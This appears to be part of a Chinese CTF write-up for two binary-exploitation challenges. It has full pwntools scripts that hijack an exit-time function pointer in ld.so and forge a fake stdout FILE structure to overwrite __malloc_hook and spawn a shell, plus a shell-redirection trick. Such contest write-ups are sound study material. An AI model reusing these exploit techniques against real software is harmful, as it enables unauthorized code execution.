the_end
程序自身的功能很简单:
- 提供libc地址(2.23)
- 关闭
stdout
和stderr
- 5次对所给地址修改1字节的机会
在进行5次修改后,程序调用了exit()
函数。一开始的思路是对libc中的FILE结构体进行修改,从而将程序劫持到one_gadget处,但是比赛时想到的方法大概需要10字节左右的修改,放弃。
接着就开始对exit()
函数进行研究,在gdb里对exit()
函数一步一步地进行跟踪,发现两个能利用的点:
- 0x00 CTF 2017 left 的解题思路,但是无法获得随机数,放弃。
- 在
_dl_fini
函数中,会执行call QWORD PTR [rip+0x216414] #<_rtld_global+3848>
,该位置位于ld.so
当中,是能够修改的位置。
因此在第二个点的基础上继续研究。通过vmmap
可以得知ld.so
的这个位置到libc.so.6
的基地址的偏移是固定的,虽然他们中间的空间不是连续的(后续再具体研究一下为什么Orz,这题中没问题就对啦)。将该位置的数据修改为one_gadget
即可。
另一个需要解决的问题是程序关闭了stdout
,所以拿到shell后无法看到服务器的返回。通过exec /bin/sh 1>&0
即可对输出流进行重定向,能正常与shell交互。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import *
def pwn(): BIN_PATH = './the_end' DEBUG = 1 local = 1 if DEBUG == 1: if local == 1: p = process(BIN_PATH) else: p = process(BIN_PATH, env={'LD_PRELOAD': './libc.so.6'}) elf = ELF(BIN_PATH) context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] if context.arch == 'amd64': if local == 1: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: libc = ELF('./libc.so.6') else: libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: p = remote('150.109.44.250', 20002) p.recvuntil('Input your token:') p.sendline('8RMQq9PuDRurd91OVhADpDDK30eqjAqz') elf = ELF(BIN_PATH) libc = ELF('./libc.so.6') context.log_level = 'debug'
if DEBUG == 1: gdb.attach(p, gdbscript='b *0x0000555555554964')
p.recvuntil('here is a gift ') recv = p.recvuntil(',', drop=True) libc.address = int(recv, 16) - libc.symbols['sleep'] print hex(libc.address) one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] p.recvuntil('luck ;)\n') p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000))) p.send(p64(libc.address + one_gadget[2])[0]) p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 1)) p.send(p64(libc.address + one_gadget[2])[1]) p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 2)) p.send(p64(libc.address + one_gadget[2])[2]) p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 3)) p.send(p64(libc.address + one_gadget[2])[3]) p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 4)) p.send(p64(libc.address + one_gadget[2])[4]) p.interactive() p.close()
if __name__ == '__main__': pwn()
|
babyprintf_ver2
程序本身实现了类似于格式化字符串漏洞的功能,但调用的是printf_chk()
函数。用于保存用户输入的字符串的全局变量存在溢出,能够覆盖stdout
指针,程序提供了.bss的地址。
因此,通过溢出将stdout
指针指回.bss上,并在指向的地方构造虚假的stdout
结构体,由于存在着vtable
的检查,因此vtable
处的值会被程序自己填入。通过构造缓冲区的指针为.bss上的地址,能够将这个vtable
的值泄漏出来,从而获得libc的基地址。
同样地,通过构造缓冲区的指针,能够进行任意地址写的操作,将__malloc_hook
处修改为one_gadget
的地址。通过触发printf_chk()
函数的报错进而触发malloc()
拿到shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
def pwn(): BIN_PATH = './babyprintf_ver2' DEBUG = 0 context.arch = 'amd64' if DEBUG == 1: p = process(BIN_PATH) elf = ELF(BIN_PATH) context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] if context.arch == 'amd64': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: p = remote('150.109.44.250', 20005) elf = ELF(BIN_PATH) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p.recvuntil('Input your token:') p.sendline('8RMQq9PuDRurd91OVhADpDDK30eqjAqz') context.log_level = 'debug'
p.recvuntil('buffer location to') recv = p.recvuntil('\n', drop=True) bss_address = int(recv, 16) p.recvuntil('Have fun!\n') payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884) + p64(bss_address + 0xf8) * 3 payload += p64(bss_address + 0xf8) + p64(bss_address + 0x100) + p64(bss_address + 0x11d) payload += p64(bss_address + 0xf8) + p64(bss_address + 0x11d) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000) payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)
p.sendline(payload) p.recvuntil('permitted!\n') p.sendline('a' * 8) recv = p.recv(8) libc.address = u64(recv) - (0x7ffff7dcc2a0 - 0x7ffff79e4000) print hex(libc.address)
payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884) payload += p64(bss_address + 0x200) * 7 payload += p64(bss_address + 0x200) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000) payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)
p.sendline(payload)
malloc_hook_addr = libc.symbols['__malloc_hook']
payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884) payload += p64(bss_address + 0x200) * 6 payload += p64(malloc_hook_addr) + p64(malloc_hook_addr + 0x8 + 4) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000) payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff) p.sendline(payload)
p.sendline(p64(libc.address + 0x10a38c))
payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884) payload += p64(bss_address + 0x200) * 7 payload += p64(bss_address + 0x200) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000) payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff) p.sendline(payload) sleep(0.5) p.sendline('%49$p')
p.interactive() p.close()
if __name__ == '__main__': pwn()
|